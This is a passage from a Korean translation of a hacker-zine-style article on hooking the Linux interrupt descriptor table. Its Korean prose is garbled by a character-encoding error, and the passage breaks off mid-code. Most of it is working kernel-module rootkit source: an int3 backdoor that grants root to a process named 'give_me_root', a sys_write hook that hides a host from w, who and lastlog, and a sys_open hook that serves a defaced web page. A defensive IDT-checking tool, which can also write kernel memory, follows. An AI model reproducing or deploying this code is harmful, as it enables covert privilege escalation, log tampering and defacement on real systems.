°ü¸®ÀÚµéÀ» µ¹¾Æ¹ö¸®°Ô ¸¸µé ¼öµµ ÀÖÀ¸´Ï ¸»ÀÔ´Ï´Ù. ÀÌ·¯ÇÑ ¾ÆÀ̵ð¾î¸¦ ³»¾î ÁØ Spacewalker ¿¡°Ô °¨»çÇÏ´Â ¹ÙÀÔ´Ï´Ù. ±× ¾ÆÀ̵ð¾î´Â Á¤ÀÇµÈ ÆÄÀÏ(¿ø·¡ sys_open À» È£ÃâÇϸ鼭 Á¤ÇØ ÁØ ÆÄÀÏ) ´ë½Å¿¡ ´Ù¸¥ ÆÄÀÏÀ» È£ÃâÇÏ´Â ½ÄÀÇ sys_open ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·ÇÏ´Â °Í ÀÔ´Ï´Ù. SYS_OPEN: --------- ======================= EAX : 5 EBX : pathname Æ÷ÀÎÅÍ ECX : ÆÄÀÏ Á¢±Ù EDX : ÆÄÀÏ ±ÇÇÑ ======================= ¾î¼Àºí¸® Çڵ鷯´Â Ç×»ó ÀÌÀüÀÇ °Í°ú °°½À´Ï´Ù. C handler : ------------ ================================================================================= asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } ================================================================================= ¿ì¸®´Â sys_open À» ÈÄÅ·ÇÏ¿©, ¸¸¾à httpd °¡ sys_openÀ» È£ÃâÇÏ¿©, index.html ÆÄÀÏÀ» ¿­·Á°í Çϸé, ¿ì¸®¿¡ ÀÇÇØ ¼±ÅÃµÈ ´Ù¸¥ index.html ÆÄÀÏ·Î º¯°æÇÏ¿© ¹ö¸®°Ô ÇÕ´Ï´Ù. ±×¸®°í ´õ ½±°Ô ÆäÀÌÁö¸¦ º¯°æÇϱâ À§ÇÏ¿© MODULE_PARM À» »ç¿ëÇÒ ¼öµµ ÀÖ½À´Ï´Ù. ¸¸¾à ´©±º°¡°¡ ÀüÇüÀûÀÎ ¿¡µðÅ͸¦ »ç¿ëÇÏ¿© ÆÄÀÏÀ» ¿­°Ô µÇ¸é , ±×´Â ½ÇÁ¦ index.html ÆÄÀÏÀ» º¸°Ô µÉ °ÍÀÔ´Ï´Ù. (% edward : ÁøÂ¥ °ü¸®ÀÚ ÀÔÀå¿¡¼­´Â µ¹¾Æ¹ö¸±Áöµµ ¸ð¸£°Ú±º¿ä. -_-; ) ÀÌ Å×Å©´ÐÀ» »ç¿ëÇÏ¿© syscall À» ÈÄÅ·ÇÏ´Â °ÍÀº ¸Å¿ì ½±½À´Ï´Ù. ´õ¿ì±â ÀûÀº ¼öÁ¤À» °ÅÄ¡°í ÀÌ·± Àú·± ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·ÇÒ ¼ö ÀÖÁö¿ä. C Çڵ鷯¸¸À» º¯°æÇÏ°íµµ ¸»ÀÔ´Ï´Ù. ÇÏÁö¸¸ ¿¹¸¦ µé¾î 2 °³ÀÇ ½Ã½ºÅÛ ÄݵéÀ» ¹Ý´ë·Î ¸¸µé±â À§Çؼ­´Â ¾î¼Àºí¸® Çڵ鷯¸¦ »ç¿ëÇÕ´Ï´Ù. ¿ì¸®´Â ´ÜÁö eax ÀÇ °ª°ú Á¤ÀÇµÈ ½Ã½ºÅÛ ÄÝÀÇ ¹øÈ£·Î º¯°æÇϱâ À§ÇÑ °ªÀ» ºñ±³Çؾ߸¸ ÇÕ´Ï´Ù. admin À» À§Çؼ­ "hot" ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·Çϰí, ½Ã½ºÅÛ ÄÝÀÌ È£ÃâµÇ¸é °æ°í ¸Þ½ÃÁö¸¦ »Ñ·ÁÁÝ´Ï´Ù. syscall_table »óÀÇ ¼öÁ¤¿¡ ´ëÇÑ °æ°í¸¦ ÇÏ°Ô µÉ°Ì´Ï´Ù. 6 - CHECKIDT CheckIDT ´Â À¯Àú¸ðµå·ÎºÎÅÍ IDT ¸¦ »ç¿ëÇÏ¿© "³î±â" À§ÇØ ÀÛ¼ºµÈ ÀÛÀº ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ÀÌ ÇÁ·Î±×·¥Àº LKM À» »ç¿ëÇÏÁö ¾Ê´Âµ¥, Phrack 58 È£¿¡ /dev/kmem Å×Å©´ÐÀ» ¿Ã·ÁÁØ sd ¿Í devik ¿¡°Ô °¨»çÇÏ´Â ¹ÙÀÔ´Ï´Ù. ³ªÀÇ ¸ðµç Å×½ºÆ®¸¦ ÅëÇØ ¸¹Àº Ä¿³ÎµéÀ» ¸Á°¡¶ß·È½À´Ï´Ù. Á×Áö´Â ¾Ê¾ÒÁö¸¸ LKM À» Áö¿ï¼ö°¡ ¾ø¾úÁÒ. ³ª´Â IDT ÀÇ °ªÀ» º¯°æÇϰí reboot ¸¦ ½ÃÄ×½À´Ï´Ù. CheckIDT ´Â LKM ¾øÀÌ IDT °ªÀ» º¯°æÇÏ´Â ÇÒ ¼ö ÀÖ½À´Ï´Ù. ±×¸®°í ¿©±â¼­´Â ¿©·¯ºÐµéÀÌ LKM À» ÄÚµùÇϴµ¥ µµ¿òÀ» ÁÖ°í rebooting ÇÏÁö ¾Ê°Ô ÇØÁÝ´Ï´Ù. ¹Ý¸é¿¡, ÀÌ ¼ÒÇÁÆ®¿þ¾î´Â IDT °¡ ¼öÁ¤µÇ´Â °ÍÀ» °æ°íÇÒ ¼ö ÀÖ½À´Ï´Ù. °ü¸®ÀÚ¿¡°Õ À¯¿ëÇÒ ¼öµµ ÀÖÁÒ. ±×¸®°í tripwire ½ºÅ¸ÀÏ¿¡¼­ IDT »óŸ¦ º¹±¸ÇÒ ¼öµµ ÀÖ½À´Ï´Ù. CheckIDT ´Â °¢°¢ÀÇ IDT µð½ºÅ©¸³Å͸¦ ÆÄÀÏ·Î ÀúÀåÇϰí, ÇöÀç IDT µð½ºÅ©¸³ÅÍ¿Í ÀúÀåµÈ °ªÀ» ºñ±³ÇÏ¿© IDT ¿¡¼­ ¼öÁ¤µÈ ºÎºÐÀ» µÇµ¹¸± ¼öµµ ÀÖ½À´Ï´Ù. »ç¿ë·Ê: ----------------------- ================================================================ %./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A show all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file %./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0109370 KERNEL_CS 3 System gate int3 Thanks for choose kad's products :-) % We can obtain information on an interrupt descriptor. "-A" allow to obtain information on all interrupts. %./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) %insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finished %./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0109370 New Value : 0xc583e064 Thanks for choosing kad's products :-) %./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) %./checkidt -C All values are same Thanks for choosing kad's products :-) %lsmod Module Size Used by hookstub-V0.3.2 928 0 (unused) ... % ================================================================ CheckIDT ´Â ÀÌÀü¿¡ ¸ðµâ¿¡ »ðÀԵDZâ ÀÌÀüÀÇ IDT ÀÇ °ªÀ» º¹±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÇÏÁö¸¸, ¸ðµâÀº ¿©ÀüÈ÷ ¾Æ¹«·± ¿µÇâÀ» ¹ÞÁö ¾Ê½À´Ï´Ù. tripwire ¿¡¼­ ³»°¡ Ãæ°íÇϰǵ¥ ¿©·¯ºÐµéÀº IDT ¼¼ÀÌºê ÆÄÀÏÀ» read only ¿µ¿ª¿¡ º¸°üÇϵçÁö ÇØ¾ßÇÕ´Ï´Ù. ±â¾ïÇϼ¼¿ä ! ¸¸¾à ¸ðµâÀÌ ¼û°ÜÁö°í ³ª¸é ¿©·¯ºÐ ¶ÇÇÑ IDT ÀÇ ¼öÁ¤ °æ°í¸¦ ¹ÞÀ» ¼ö ÀÖ´Ù´Â °ÍÀ» ... Àüü ¼Ò½º ÄÚµå´Â 8Àå ºÎ°¡ÀûÀÎ ³»¿ëÀÇ CODE 4¹øÀ» ÂüÁ¶ÇÏ½Ã¸é µË´Ï´Ù. 7 - ÂüÁ¶¹®Çå & Àλ縻 ========================================================================== [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat ========================================================================== Àλ縻 - ³»°¡ ÀÌ ¹®¼­¸¦ ¿µ¾î·Î ¹ø¿ªÇÏ´Â ÀÛ¾÷À» µµ¿ÍÁØ freya, django ±×¸®°í neuro ¿¡°Ô ƯÈ÷ °¨»çÇÏ´Â ¹ÙÀ̸ç, skyperÀÇ Á¶¾ð¿¡ ´Ù½ÃÇѹø °¨»çÇÏ´Â ¹ÙÀÌ´Ù. °í¸¿³× Ä£±¸ ! :) (% edward : ³ªµµ -_- °í¸¿³× ¿©·¯ºÐµé :) ) - asm ¿¡ ´ëÇØ¼­ Çì¾Æ¸± ¼ö ¾øÀÌ ¸¹Àº Á¶¾ðÀ» ÇØÁØ Wax ¿¡°Ôµµ °¨»çÇÏ´Â ¹ÙÀÌ´Ù. (´ã¹è ³Ê¹«¸¹ÀÌ ÇÇÁö¸»¾î¶ó !) (% edward : ³ªÇÑÅ× ÇÏ´Â ¼Ò¸°°¡ -_-;;; ¶ß²ûÇϱº) - ÀÌ ¹®¼­ÀÇ Äڵ带 Å×½ºÆ®ÇÏ°í °ËÁõÇØ ÁØ mayhem, insulted, ptah ±×¸®°í sauron ¿¡°Ô ¸Å¿ì °¨»çÇÏ´Â ¹ÙÀÌ´Ù. (% edward : Á¶±Ý¸¸ °¨»çÇÏ´Â ¹ÙÀÌ´Ù -_-; ¿ÀŸ°¡ ¸¹Àºµ¥ Á» ´õ Àß °ËÁõÇÏÁö..) - #frogs, #thebhz, #gandalf, #fr ä³Î »ç¶÷µé¿¡°Ô °¨»çÇÏ´Â ¹ÙÀ̸ç, Party, nywass, polos ¾Æ ... ¾î¼±¸ Àú¼±¸ ... »ý°¢ ¾È³ª´Â ¸ðµç »ç¶÷µé¿¡°Ô °¨»çÇÑ´Ù. (% edward : ÇÏ·çÁ¾ÀÏ °¨»ç¸¦ ÇÏ´Ù´Ï -_-;;; ³ª Èûµé°Ô ½Ã¸®) 8 - ºÎ°¡ÀûÀÎ ³»¿ë CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); CODE 4: ------- ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); 